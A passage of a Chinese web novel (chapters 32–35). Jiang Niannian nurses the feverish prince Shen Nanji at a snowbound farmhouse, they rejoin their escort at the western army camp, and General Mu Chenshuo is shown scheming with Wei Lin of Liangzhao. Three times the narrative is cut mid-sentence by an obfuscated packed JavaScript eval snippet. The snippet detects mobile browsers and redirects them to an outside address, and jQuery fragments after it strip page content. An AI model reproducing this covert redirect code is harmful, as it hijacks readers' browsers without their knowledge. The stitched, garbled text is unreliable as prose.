听到姜念念这么说,沈南寂也知道自己再坚持也没用,于是点头应道:“好,那你早点回来。” 姜念念“嗯”了一声,随即推门出去。 沈南寂看着屋门再次被合上,神色染上一丝倦怠,他倚着床帏闭上眼睛,像是睡了过去,可他的脑子却异常清醒。 他刚刚一开始其实是想问姜念念,为什么不一起睡的,可是下意识的,他就觉得如果自己真的问了这样的问题,姜念念可能就会更加的惶恐。他不想看到那样的场景,所以最终还是转移了话题。 有些事情,还急不得。 他在心底这样安慰着自己,然后才又睁开眼睛,旋身躺到了床上。 等一会儿姜念念回来了,要是发现他还坐在那,估计又要絮叨了。沈南寂阖着眸子,缓缓想道。 渐渐地,也许是走了一天的路,再加上伤口一齐带给他的倦意,沈南寂渐渐陷入了困顿。 即便如此,他的潜意识里,还是有一道声音在想:姜念念好像还没有回来。 32. 后雪 姜念念出来时,女人还没有睡着,她刚将小凛哄睡着,此刻坐在屋外的小方凳上,补着一件破了洞的衣裳。 听到动静,女人起身迎道:“姑娘还没有歇下吗?” “我来还东西。”姜念念冲女人笑了笑,“顺便来问问,还有没有被子。” “你们那间屋子的橱里放着平时不用的被子,你要是不嫌弃的话,可以用那套。”女人一边说着,一边接过了姜念念手中的盆。 姜念念道过谢后,并没有立即离开,她的目光落在女人缝好的衣服上,忍不住夸道:“夫人的手真巧。” 女人一怔,大概是第一次听到这样的称呼,不免有些难为情,“不用加我夫人,姑娘若是不嫌弃的话,叫我婶子就好了。” “好,婶子。”姜念念点头应下。 两人正聊着,忽地听见窗外沉闷的风声,像是猛兽的呜咽低吼。狂风撞向窗棂,发出急促的声响,让人心中没来由地生出些恐惧。 “这风声,今夜恐怕会下雪。”女人侧耳听了片刻,随后说道,“这大概是入春后的最后一场雪了。” “等雪停之后,天应该就暖和了。”姜念念笑着道。 “是啊,新的一年又来了。”女人神色平淡,语气中倒是带着感慨。 就在这时,她们对面的房门突然被推开,小凛揉着惺忪的眼睛走出来,迷迷瞪瞪地唤道:“娘。” 女人看到从屋内走出来的小凛后,有些惊讶地问道:“小凛怎么又醒了?” “外面风好大,我有点害怕。”小凛一边说着,一边走近了女人,整个身子都贴近了女人。 “阿娘在外面呢,小凛不怕。”女人听到小凛的话后,柔声安抚道。 “可我想要娘陪我睡觉。”小凛拽着女人不撒手,撒娇似的说道。 姜念念看着小凛,不知想到了什么,女人一抬头就看到了姜念念沉思的神情。她有些不好意思地对姜念念一笑,说道:“不好意思啊,小凛可能有点害怕。” “小凛还小,害怕也正常。”姜念念被女人的话唤回了神,她笑了笑,说道,“婶子还是陪小凛回屋吧,时候也不早了。” “嗳,好。”女人应了一声,而后又突然想到了什么,叫住了也正准备回屋的姜念念,“姑娘。” 姜念念有些不解回头,“怎么了?” “你弟弟的伤怎么样了?”女人问道,“我之前看他,好像伤得不轻。” “已经出现包扎过了。”姜念念道,“之后的情况可能还要再看看。” 女人听到姜念念的回答后,一脸的不赞同,“你们这些年轻人啊,养在深闺宅院里,什么也都不懂,等出了门就什么也不知道了。这受了伤后身体自然没有平时硬朗,稍有个不慎就又要遭罪。” 姜念念听着女人絮絮叨叨地说着,也没有出言打断,女人见她态度良好,总算是没有继续絮叨,而是转身进了厨房,过了片刻后又从里面端出一碗棕褐色的药出来。姜念念顺着空气闻了闻,只觉苦得发涩。 “这是治疗发烧的,你让你弟弟趁热喝了,不过夜里也还是要多留心。我给你打一盆凉水放在外面,要是夜里还是发了烧,就用毛巾沾了凉水,然后放在额头上降温。”女人叮嘱道。 姜念念接过药碗,向女人道了谢。听到女人事无巨细地说着注意事项,她忍不住想到,好像就连沈南寂的亲生父亲,都从未如此关心过他。 向女人道过别,姜念念这才返回了屋内。沈南寂此时已经躺到了床上,不过却皱着眉似乎睡得并不安稳。 似乎是听到了动静,他缓缓睁开了眼睛,视线望向了姜念念的方向。 姜念念见他醒了,连忙说道:“醒了就先别睡,起来先把药喝了。” “什么药?”沈南寂可能是还有没回神,不过却还是下意识地坐起了身。 “治发烧的。”姜念念解释道,然后将手中的药碗递给了沈南寂,同时抬手覆上沈南寂的额头,幸好还没有发烧,姜念念松了一口气。 她的注意力都在沈南寂的额头上,所以自然也没有注意到,原本端着药碗出神的沈南寂,在她手触上额头时,身形有一瞬间的僵硬。 那碗药温度正好,应该是女人熬好后放在那温着,姜念念收回手退后站起身时,便正巧看到沈南寂面无表情地将药碗抱起来,直接咕嘟咕嘟几口将药喝完了。 姜念念看着他,想到自己闻到的味道,突然有些不太确定:“难喝吗?” 沈南寂顿了一下,随后答:“不知道。” 姜念念:? 沈南寂是真的不知道,他方才的注意力全然不在药汤上,所以自然也没去关注那药究竟难不难喝。 一时分不清沈南寂究竟是真的不知道还是不好意思说,姜念念无言地看了他半晌,最终还是没有继续在这个问题上纠结。 不过可能是嘴里残留的药味,还是成功让沈南寂清醒了过来,他喝完药后也没有重新躺回去,而是直接坐在那看着姜念念放下药碗,然后又去橱里找被子。 那被子应当是前不久才晒过,姜念念还闻到了一股好闻的阳光气息,她在地上铺了一张凉席,然后将被子放上去。 就在这时,她忽然听到沈南寂的声音:“你刚刚去哪了,怎么出去这么久?” “久吗?”姜念念一边铺被子一边回道,“我就只是和小凛的阿娘聊了一会。” 沈南寂闻言似乎嘀咕了一句什么,姜念念没听清,正想要追问时,就听到沈南寂又道:“很久,我等你等得都睡着了。” “好吧,那我下次注意时间。”姜念念应道,三两下将被子铺好后,这才看向沈南寂,“时候不早了,殿下早些歇息吧。” 沈南寂“嗯”了一声,却没有依言躺下,反而是将视线转向了窗外,“外面起风了?” 姜念念愣了愣,没料到他会突然问起这茬,不过很快她就回过神来,点了点头,道:“是,今夜可能会下雪。” 姜念念说完,这才想起走到窗边,检查了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222139|131528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下窗户是否关严实了。 “这应该是开春前的最后一场雪了吧。”沈南寂的声音自身后响起。 “应该是吧。”姜念念看了一眼窗外,“雪天过后,就真的是新的一年了。” 感慨完后,姜念念回身走到床边,“已经很晚了,殿下早些歇息吧。” 这一次,沈南寂没再说话,如姜念念所愿地躺了下去,姜念念熄了桌边的蜡烛,自己也钻进了被子里。 世界陷入混沌,窗外风声呜咽,屋内像是一个避风港,遮挡了所有的风雪。在彻底睡过去之前,姜念念心中还忍不住想,幸好他们当时选择了在这里借宿一晚,不然这下雪天想要找个地方避一避,恐怕也是一件难事。 姜念念是睡到半夜惊醒的,因为心中记挂着事,她也睡得不算太踏实。她侧耳听了听窗外,风声已经没有之前那般喧嚣,但却多了一丝沉闷。 应该是下雪了。 她起身裹好衣服,然后走到了沈南寂的床边,沈南寂睡得很熟,可是很明显在梦里也并不安稳。他皱着眉,像是想要甩掉噩梦的束缚,却又难以寻找到源头,左右不得其法。 姜念念伸手覆上沈南寂的额头,试了试他的体温,果真如女人所料想的一般在发烧。 想到之前女人说的话,姜念念转身出去拿了凉水回来,然后用湿毛巾敷在沈南寂的额头上。 可能是之前喝了药的缘故,沈南寂的体温并没有烧得太厉害,只是简单的低烧。不过担心之后沈南寂会乱踢被子,姜念念也就一直没有睡,期间给沈南寂换了几次毛巾,等到温度降下来之后,就趴在床边小憩了一会,只要沈南寂稍微动一下,她也能够立刻察觉。 直到后半夜,确定沈南寂没有事了之后,姜念念才终于放心地睡了过去。也不知过了多久,迷迷糊糊之间,姜念念感觉自己好像被什么人抱了起来,随后又陷入了柔软的被窝里。不过困意上涌,姜念念也只在朦胧中看到一个人影,随后便又沉入了梦乡。 等姜念念再次睁开眼睛时,天已经大亮,窗外是白茫茫一片,四周好像静得出奇。她这才察觉,自己不知何时居然已经睡在了床上,而沈南寂已经不在房间内了。 姜念念坐着回了神,然后起床穿好衣服,推开门便看到沈南寂坐在堂屋内,正和小凛的阿娘说着什么。虽然沈南寂的神情淡淡的,不过看那样子,氛围似乎也挺融洽。 听到动静,沈南寂抬头看了一眼,旋即笑道:“姐姐醒了。” 女人闻言也看了过来,随即招呼道:“姑娘醒了?再等一会早饭就好了。” “好的。”姜念念冲女人笑着应了一声。 沈南寂此时也起了身,他走向姜念念,说道:“刚刚我和这位夫人说,昨夜的雪下得还很大,姐姐要出去看看吗?” 姜念念有些迟疑地看了一眼女人,下一秒女人就摆摆手道:“没事,你们出去玩,等饭好了我再叫你们。” 姜念念闻言向女人道了谢,随即便和沈南寂推门出去。 33. 离去 屋外的雪已经停了,不过天空依旧灰沉沉的,尤其是在厚重洁白的积雪映衬下,便愈发显得灰暗。四周寂静无声,令人心中也生出几分安宁。 眼下就只有他们两个人,姜念念这才有机会问话:“我记得昨天夜里我好像趴着睡着了,后来是你把我抱到床上的吗?你怎么不直接叫醒我?” “我看姐姐睡得熟,所以就没叫你。”沈南寂垂着眸子,心底也不知在想什么,“而且姐姐照顾了我那么久,好不容易睡着了,我也不忍心再叫姐姐。” 姜念念想了想,自己当时好像的确睡得迷迷糊糊,即便有点知觉,但也没有醒过来,“其实你也可以不用管我的,你肩上还有伤呢。” “只是小伤而已,影响不大。”沈南寂回道,紧接着,像是为了不给姜念念说话的机会,他又接着说道,“段云澜他们应该很快就会找过来,我们这个位置,应该距离他们不远。” 姜念念闻言,仔细算了一下,“那如果顺利的话,我们今天应该可以去到军营了?” “不出意外的话,是的。”沈南寂应了一声。 说完这话之后,两人便沉默了下来,不过气氛倒是没有因此就显得尴尬。姜念念看着一望无垠的雪地,绵延至遥远天际的,是一片合二为一的纯白。零星错落的房屋,就像是荒漠里点缀其间的小小几株野花,生生不息。 她这样看着,忍不住想,自己究竟有多久没有看过这样的雪景。她在宫中时,虽然那里的一草一木都被修剪得精致,每株花草都选择在了最佳的摆放位置,甚至就连一滴雨、一片雪似乎都应该停驻在特定的地方,这样的美丽总是在精致中透着死板。一方高高的围墙筑起,将所有的风景圈在其中,于是就连天空也只剩下那一小片。 宫中的雪景,就像是画师笔下的一幅画,美丽却永远只能局限在那张画纸上。而如今眼前的这片风景,却如同那画纸之外的另一番光景,虽不绚丽,却永远透着勃勃生机,一直绵延到世界尽头。 不知过了多久,姜念念忽然听到身旁的人问道:“姐姐还记得,你我刚见面的时候吗?” 姜念念愣了一下,没想到沈南寂会突然提起这事,不过很快她就点头道:“记得。” 她当然是记得的,而且还印象深刻。彼时的她初来乍到,对这个陌生的环境充满了未知的彷徨,她想要寻求回家的办法却始终不得结果。然后她开始了解这个世界,开始努力地活着,甚至她一开始选择沈南寂,也只不过是为了那个不知道真假的寥寥几笔。 无论过程如何,他们也终究是走过了最艰难的时候,也成了彼此至关重要的存在。 姜念念有些好奇地看向沈南寂,问道:“怎么突然问起这个?” “我只是在想,如果时间能停留在那个时候就好了。”沈南寂说道。 姜念念有些狐疑地想,沈南寂是不是看到小凛被自己娘亲照顾,所以想起了秦婉蓉。 虽然距离当时已经过去了很多年,期间也发生了很多事情,可那个时候的沈南寂早已是记事的年纪,而且这些年沈南寂几乎也没有感受过亲情的温暖,唯一给过他关爱的,也就只有秦婉蓉了。 姜念念欲言又止,她不知道沈南寂是否需要她的安慰。 然而就在这时,姜念念听到沈南寂又说道:“我记得很早你说,希望我可以永远记住自己的身份,如今我已经不需要这样的提醒。” 姜念念闻言,一时还没有想明白这前后两句话有什么关系。 “你不记得了?”沈南寂的目光落在姜念念的身上,他微蹙着眉,神情似有些不满。 姜念念立马回想了一遍,最终想到应该是当初她唤“殿下”时,对沈南寂说的话。 “记得。”姜念念道,但她心底的疑惑未减,不明白沈南寂突然提起这事得缘由。 得到了自己想要的答案,沈南寂这才满意,转而解答了姜念念心中的疑问:“这些事自有人会记得,而且你如今也已经不再受身份的桎梏,这里也不是宫中,所以你也可以不必再对我用敬称了吧?” 姜念念听沈南寂说完,终于在一大段的铺垫之后,听到了这番话的重点。于是她反问道:“那你想要我如何称呼你?” 因为此时他们住在女人家中,所以也有心注意着不暴露身份。 沈南寂似乎也思考了一会,随后才道:“和以前一样就可以。” 姜念念想了想,这才明白过来,他说的是自己刚来到这个世界的时候,“可是你之前不是不喜欢我叫你名字吗?”还经常因为这事生气。 不过转念一想,那时他对姜念念让他叫自己姐姐这事都极为反感,结果现在反倒是叫得一次比一次顺口了。 “没有。”沈南寂的声音将姜念念拉回了现实,“没有不喜欢。” 姜念念迟疑了一下,倒也没有过多的纠结,只是点头应道:“好。” 她也没有特地说,人前人后是否要注意云云,沈南寂也没去提醒。这些事情他们自然心中有数,也无需额外再去提点。 得到了自己想要的结果后,沈南寂明显心情不错,以至于小凛出门来叫他们吃饭时,都是他先应的声。 回到屋内后,女人已经将饭菜端了上来,普通的白米粥此时正袅袅冒着热气,散发着浓郁的香气,桌上另外摆着一盘刚炒好的白菜,还有几碟女人自己腌制的小菜。 姜念念他们昨天一共就只晚上吃了几个红薯,经过一夜早就已经消化殆尽,此刻一闻到粥香,姜念念立马就觉得饿了。 女人见到两人回来,连忙笑着招呼道:“都回来了?快坐过来吃饭吧。” 姜念念也没客气,道完谢后就坐到了桌前。 刚喝了一口粥,姜念念的面前就突然推过来一个小碟子。她疑惑抬头,就见小凛正睁着眼睛看向自己,见她望过来,便直接道:“姐姐吃菜。” 姜念念冲小凛笑了笑,道:“谢谢小凛,小凛也吃。” 小凛闻言便用力地点了一下头,然后抱着碗埋头喝起了粥,但时不时地还抬头看一眼姜念念。然后被姜念念发现后,又立马垂下目光,将脸埋进碗里,再在片刻后假装不经意地再次露出试探的目光。 姜念念将他的动作看在眼里,却也没有挑明,平白让人感到难为情。不仅如此,她还收回了目光,假装自己没有注意到他的视线,转而和女人聊起了别的事情。 这一餐饭,倒也吃得其乐融融, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306549|131528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等到吃完饭后,女人对姜念念说道:“这雪虽然停了,但化雪恐怕还需要时间,你们要是没什么急事的话,不如先在我家住一段时间,等到雪化了再走?到时候路上也安全一些。” 姜念念知道女人是担心他们,可他们还有其他事情,自然不可能在这里停留太久,“不必了,昨天夜里已经很打扰你们了,我们今天就离开。” “是有很着急的事吗?”女人问道。 姜念念也不好多解释,只能点头应:“对。” “那好吧。”女人闻言便也不再多劝,只叮嘱道,“那你们路上小心。” 女人自己也是有孩子的,心底便下意识地想,如果他们的父母知道自己的孩子受了伤,肯定也会担心。将心比心之下,她也难得多关切了两句。 姜念念一一应着,就在这时,一旁的小凛似乎也明白了什么,上前来抱住姜念念的腿道:“我不要姐姐走。” 小凛的年龄虽小,可他爹每次离开时,都是这样的气氛。虽然昨天家里突然多了两个陌生的哥哥姐姐,可是他们都生得很好看,尤其是这个姐姐,还会非常温柔地和他说话,他不舍得这个姐姐离开。 沈南寂一见到他的动作,脸色顿时就变了,他忍着没有直接发火,但话也没那么客气,“松手。” 女人也被吓了一跳,连忙去拉小凛,“小凛乖,快放开姐姐,这样是很不礼貌的,知道了吗?” 小凛满脸的不情愿,可最终还是被女人拉开了。女人有些歉意地抬头冲姜念念说道:“对不起啊,姑娘。怪我平时没有教好他。” 姜念念摇了摇头,倒也没有特别生气,“没关系,小凛还小,不懂事。” “这地方本来人就少,前后也很少有同龄人,平时我也没太多时间陪着他,估计昨天你们陪着他玩了一会,这会大概是知道你们要走,所以舍不得了。”女人解释道。 听闻这话,原本没说话的沈南寂,突然在一旁说道:“等下次有机会的话,我们再回来看你们。” 女人原先还觉得,这个年纪小些的沈南寂是个不太好相处的,唯独对自己姐姐倒是上心。可现下听到他这么说,突然又觉得自己之前看人太过片面,这明明也是个心善的好孩子。 虽然这句承诺看起来遥遥无期,但总归是给人留了个念想,于是她笑着道:“好,下次再来,我给你们做好吃的。” 姜念念和沈南寂简单收拾了一番,便准备出发了,他们昨天路上的时候,带的行李就被马带走了,过来的时候也是两手空空。好在姜念念身上还随身携带着些碎银,于是趁着女人不注意,悄悄放在了一个不显眼但足够被女人发现的地方。 之后他们向小凛一家道了别,转而走出了屋子,临走前女人还又送给姜念念他们一些疗伤的药。 虽然这个时候再移动位置,对段云澜他们来说有些麻烦,可是那么一大群人出现在屋外,恐怕会吓到小孩子。于是姜念念和沈南寂便决定再往前走一段路,然后等待段云澜他们找过来。 屋外天寒地冻,天上的雪虽然停了,可地上的雪却未曾停歇。寒风吹落树梢上的积雪,像是重又下了一场春雪,雪天里万物齐齐躲藏在深处,于是世界一片静谧。 34. 慕家 正因四周寂静无声,所以稍有动静,便也能听得清楚。沉重的马蹄声远远顺着风的轨迹而来,由远及近。 “是段小将军他们?”姜念念侧耳听了一会,随后问沈南寂。 “应该是。”沈南寂道,“他们应该是在朝我们这个方向过来,先等等看吧。” 雪天很少会有人出来,但为了以防万一,两人也并没有贸然出现。他们躲在暗处,等人走近确定了是段云澜等人,他们这才现身在众人面前。 见到沈南寂和姜念念出现,众人纷纷下马上前,赵岳琦长舒了一口气,道:“殿下,姜姑娘,太好了,总算找到你们了。你们没事吧?” “我没事,不过殿下昨天肩上不小心被伤到了。”姜念念说道。 “什么?”赵岳琦一听,连忙看向沈南寂,“伤得严重吗?伤口处理过了吗?要不我给殿下看看?” 赵岳琦一连串的问题砸下来,沈南寂还没来得及开口,一旁的段云澜就已经率先说道:“行了行了,你家殿下肯定没事了,不然也不可能好好站在这里吧。” 赵岳琦闻言,这才放松了些,不过却还是一脸紧张地望着沈南寂。 沈南寂被他这么看着,摇头道:“没事,伤口已经上药包扎好了。” “对了,昨天你们什么情况?”段云澜在一旁问道,“我们处理了那些追兵后,本来想去与你们会合,结果就只发现了你们的马,还已经受伤倒下了,你们人也不见踪影。后来天色实在太晚,又突然开始下雪,我们这才决定白天再来找你们。” “此事说来话长。”沈南寂道,“当时我受了伤,只能就近找个地方躲起来,让那马带着追兵离开。之后我们本来是准备走出林子,和你们会合的,结果我不小心偏离了方向,这才走到了这里。” “那殿下昨晚是在哪里过夜的?”赵岳琦担忧地问道。 沈南寂如实道:“我们昨日出来时,正巧发现了几户人家,便和他们借宿了一晚,也是他们借了伤药给我们。” “这里也有人家?”段云澜听到沈南寂的话,有些惊讶地道。 “我先前确认过,是普通的农户人家。”沈南寂道,“他们应当是一直居住在这里,并没有搬走。又因为地势的保护,反而没被人发现。” “不管怎么说,也多亏他们了。”段云澜庆幸道,随即又想到了什么,“哦对了,我昨天看到你们把行李丢了,就顺手给你带回来了。” 沈南寂点点头,又向段云澜道了谢。之后,他的视线落到身后那些人的身上,就见他们一部分身上都多多少少挂了彩,问道:“你们如何了?” “殿下放心,我们一个人没少。”赵岳琦颇为骄傲地说道,“只是有些人受了些轻伤,也早就处理过了。” “那就好。”沈南寂点点头,总算是放心了些,“既然如此,那就尽早赶往军营吧。刚好昨夜下了雪,慕家的人未必能料到我们还活着。” 虽然昨天损失了几匹马,不过后来赵岳琦等人将追兵解决之后,便顺势将那些无主的马给收下了。众人闻言后便纷纷上马,朝着军营的方向赶去。 · 这场雪来得快,去得也快。就像是冬日对这个世界最后的道别,即便不舍,也终究是要离去的,时间转到中午,阳光一落下来,那原本洁白的雪转眼就化了个大半。那尚未化去的雪晶莹透亮,在光的照耀下呈出五彩斑斓的绚丽。 树上的雪化去后,于是枝条便再也承不住水珠的重量,它洗去枝上污尘,似是带着眷念不舍,却终究是缓缓地顺着脉络滴入泥土,溶进本就潮湿的土里。 这个世界已截然一新,那是春日的热忱。而斑驳的雪影,仍是冬最后的执着。 阳光已经有了几分灼热,众人纷纷解去御寒的斗篷,沐浴在阳光下,只觉身体也暖洋洋的。 “应该快到了。”赵岳琦坐在马背上,眺望着远处,适时说道。 众人闻言,谁都没有说话。他们已经走到了这里,虽然昨日死里逃生,可接下来所要面对的,只会更加凶险。可他们没有人想过退缩,心中也只盼望着这次能顺利解决此事。 踏着雪一路走,众人终于远远看到了军营的位置,而对面的人很显然也注意到了他们。但他们也许是对自己人太过有信心,所以见到远远有人走过来之后,他们第一时间不是去确认来的人是谁,而是以为昨日出去的人任务完成回来了。 他们几乎是第一时间就将这个喜讯报告给了慕家,慕辰朔听到消息后,也准备出来亲自听一听这个过程,然而他一走出自己的营帐,待看清那群走近的人时,他的脸色立马就变了。 “这是我们的人,你是瞎了眼吗?”慕辰朔气急败坏地瞪了那人一眼,眼看着沈南寂等人行近,他也只能将火气咽回到肚子里。 再怎么说,沈南寂的身份摆在那里,他背地里做什么没人会去计较,可表面上仍是要装作一副毕恭毕敬的模样。对方已经看见了他,他也不能在此时甩袖离开,于是便只能强颜欢笑地站在那里,目光死死地盯着前面的沈南寂,似要将人千刀万剐。 沈南寂自然是感受到了他的视线,倘若目光真的能杀人,他心中恐怕已经死了好几回了。不过谁都清楚,慕辰朔就算打定了主意要攻入京城,可现在一切都还没到最佳时机,他也不能在明面上与皇族的人发生什么争执。 沈南寂也就是认准了这一点,所以才会大摇大摆地出现在众人面前。 军中不乏有效忠朝廷之士,将慕家以及他的麾下铲除,才算是达成了他们此行的目的。 一行人来到慕辰朔的面前,这才下马面对面站定。慕辰朔率先迎上前去,行礼道:“五殿下亲自来我西南,还真是让人钦佩,只不过军中事务繁忙,且近来战事吃紧,所以也就未曾派人远迎了。殿下这一路上可还顺利?” 他这话,便是要将昨日的刺杀一事瞥了干净,以示自己的清白,至于是不是真的清白了,也无人会在意。 沈南寂听出了他的意思,看着慕辰朔脸上挂着的毫不走心的笑意,他也状似无意地说道:“不算太顺利,昨日在来边疆的途 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321448|131528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中,恰巧经过一片树林,在林子里又不巧遇上了一群前来刺杀的人。” 慕辰朔的表情扭曲了一瞬,但很快又恢复平静,“可殿下不是也平安出来了。” “是啊。”沈南寂应道,“我们一行人中,还有不少人都受了伤呢。” “那那些刺杀的人呢?”慕辰朔问道。 沈南寂笑了笑,“自然是杀了,他们意图行刺,不就是抱着必死的决心去的?正好,我满足他们的愿望。” 慕辰朔的声音已经逐渐变得有些咬牙切齿,可面上仍旧要装得云淡风轻,“那也应该留下性命,先行审问过他们之后,再做其他打算的。” “慕将军这是在叫我做事吗?”沈南寂微微一笑,问道。 “不敢。”慕辰朔道,“只不过这毕竟是在西南,不必京城,许多事也不是三言两语就能与殿下说清的,希望殿下以后也不要任性妄为了。” 听到这话,一旁的段云澜忍不住了,“慕将军此言差矣,要我说,就昨日殿下遇刺一事,就可以治你的罪了。” 慕辰朔闻言,将视线移向了段云澜的身上。他虽然没见过段云澜,但根据暗中得到的消息,也能猜出眼前这个人是段家的那位。于是他挑眉道:“哦?段小将军为何要这样说?” 其他人称段云澜为“段小将军”时,更多的都是尊敬或是表示亲近之意,可是慕辰朔一开口,便让人感觉到他语气里的轻蔑,让人一眼就能够看出,他根本没将段云澜放在眼里。与他说这些话,也不过就像是在随便打发人一样。 段云澜自然也是能够感受到他眼底的不屑,不过他丝毫没有被慕辰朔影响到,仍旧自顾自地开口:“殿下是在西南遇刺,即便那些刺客不是你安排的人,但你护卫不及时,那也是你们的失职。再者说,即便这里是边境,却也依旧是明安国境内,倘若昨日那群刺客没有遇到我们,而是潜入西南郡,那郡中那些手无缚鸡之力的百姓,又该当如何?” 慕辰朔听着段云澜说完,这才似笑非笑地开口:“段小将军还真是能言善辩啊,这么说来,还真是我的失职了?” “失不失职,此事暂且不提,不过慕将军还是尽早安排守卫,加强通往西南郡一带的防守才是。”沈南寂无视慕辰朔难看的脸色,不紧不慢地说道。 “殿下有所不知,我现下要筹备战事,这种事情实在是有心无力……”慕辰朔强颜欢笑道。 “不打紧,正巧我从京中带了一队人马,我会从中选择一些人,与慕将军一同监督。”沈南寂笑道。 慕辰朔看着沈南寂,嘴里牙都快被他咬碎了,可面上还是要装得感激,“……好,那就多谢殿下好意了。” 他这种人,向来不在乎普通人的死活,甚至之前去西南郡征集银钱时,遇到不从的人也都是直接杀了了事。可眼下他不得不忍辱负重,也只能被迫装出一副爱民如子的假象。他背在身后的手,食指和拇指摩挲着,心底暗自思量,等到这一切都结束之后,他一定要好好惩治一下西南郡的那些贱民,以此来消解他心头的恨意。 35. 密谈 从沈南寂那里吃了暗亏后,回到帐中的慕辰朔脸色都一直不太好,恰好之前那个进来禀报的人走了进来,慕辰朔顿时便将自己的怒火发泄到那人身上。 “连回来的人是谁都分不清,我要你还有什么用?害得我在他们面前丢了脸面,还要听他们教训我!” 慕辰朔身旁的副将反倒是神色平静,他劝道:“将军也不必动怒,左右这种日子也不会持续太久,您只需要忍耐这几日,等到时候一切已成定局,那所有事情还不是都由您说了算?欲成其事,必先承其重,这个道理将军难道还不懂吗?” 慕辰朔闻言冷哼一声,终究是缓下了神色,他刚刚也是因为一肚子火没地撒,所以才将矛头指向了那个人,“行了,我知道了。我要是真的不明白这个道理,刚刚就不会那么轻易让这些人爬到我的头上来了。” 副将笑了笑,“将军能明白这个道理就好。” “说起来,一个被自己亲生父亲舍弃的皇子,又能成什么气候呢?”慕辰朔对沈明承的计划自然也是清楚的,对方虽然不悦他的心思,可是某种程度上来说,他好像更忌惮自己的这个儿子,宁愿冒着自己的江山拱手让人的风险,都要派人除掉他。 难道沈明承就真的一点都不在乎,自己手中的江山,还是说即便如今的他,还是有恃无恐,觉得他慕辰朔根本不可能动摇他的位置? “越是这样的人,越是不能小瞧了他。”副将倒是没有因为此事而轻看了沈南寂,“能够孤身一人,在那个吃人不吐骨头的地方,一直活到今日,甚至爬上了如今这般地位,谁也不能说他是个庸碌无为之人。” “确实。而且他能走到我面前,的确还是有些本事的。”慕辰朔想想也觉得有道理,跟着说道。但他说完之后,又勾了勾唇角,“不过这里是西南,不比他京城,这里是我的地盘,他说到底也就只是一个初来乍到的皇子罢了。” 方才的对峙中,虽然气氛剑拔弩张,但出于各种原因的考虑,两方人也并非真的动手。他们有各自的顾虑,于是勉强还是维持了表面的和平。可是实际上,他们私底下的所有想法,都几乎是铺开在阳光下了。 沈南寂知道慕家的狼子野心,慕辰朔也知道沈南寂这次来西南,就是冲着铲除慕家、收复西南军来的。 想到这里,慕辰朔的手指无意识地攥了起来,神色也变得晦暗不明。 就在这时,营帐外忽然有人道:“将军,有人要见您。” 慕辰朔心情正不佳,想也不想就道:“去回了他,就说我这几天谁也不见。” “什么人居然还能让我们慕将军恼羞成怒啊,倒还真是让我好奇起来了,有机会一定要去见一见,然后向他好好讨教讨教经验。”帐外响起一道陌生的声音,下一秒帐帘的一角被掀开,从外面缓步走进来一个人,“我看慕将军这也没什么事,怎么就单单不想见我呢?难道是看不起我,所以故意想要将我晾在一边?” 见到来人,慕辰朔的神色一僵,他忽地站起身,先是走到营帐边,拉开帘子确定没有人注意到这边,这才放下手重新看向了来人。他面色不佳,语气也不是很好地开口:“你怎么今天来了?” “慕将军这话说的,我自然是想来便来了。”来人笑了一声,丝毫没有把慕辰朔那难看的脸色放在眼里。他压根没去管慕辰朔,径直走到慕辰朔刚刚坐过的椅子前,一撩衣摆,徐徐坐下。 见他这番做派,慕辰朔的脸色便更差了。不过碍于眼前之人的身份,他还是耐下心来说道:“今日军中有人前来,魏先生这样走动,恐怕会被人看见。” 魏临笑着道:“我知道啊,不过是个皇子而已,慕将军有什么好担心的。” “梁招国的消息还真是灵通啊,我们五皇子才刚到西南,你们就已经得到消息了。”慕辰朔嘲弄般地开口,但下一秒声音里又带着警告,“不过我暂时还没有打算跟他撕破脸,所以还希望魏先生能够谨言慎行,最好也不要被他的人发现你的到来。” “知道了又能怎样,到时候杀了便是,左右也不会有任何的影响。”魏临悠悠地说道。 “魏临!”慕辰朔的声音顿时变得强硬了起来,他的神情里喊着警告,再也没了先前强装的平静。 魏临听到慕辰朔居然开始直呼自己的名字,也知道他这是真的生气了,不过即便如此,他也没有露出多少害怕的神情,只是毫不在意地摆摆手,说道:“知道了知道了,我会尽量避开他们走的。” 闻言,慕辰朔的神色这才缓和了些,不过他还是说道:“最好这段时间都不要出现在我明安国境内。” 听见这话,魏临的神情也严肃了起来,他收起一直挂着的笑,周身的气质几乎是在一瞬间就变得狠厉。一切看起来,就好像之前那个笑眯眯,看似很好亲近的人,都只是旁人的错觉罢了。 “慕辰朔,你不要忘了,你能走到如今这一步,靠的是谁。”魏临冷冷地望着慕辰朔,“梁招国能让你端坐高台,也同样可以让你身败名裂,甚至死得悄无声息。” 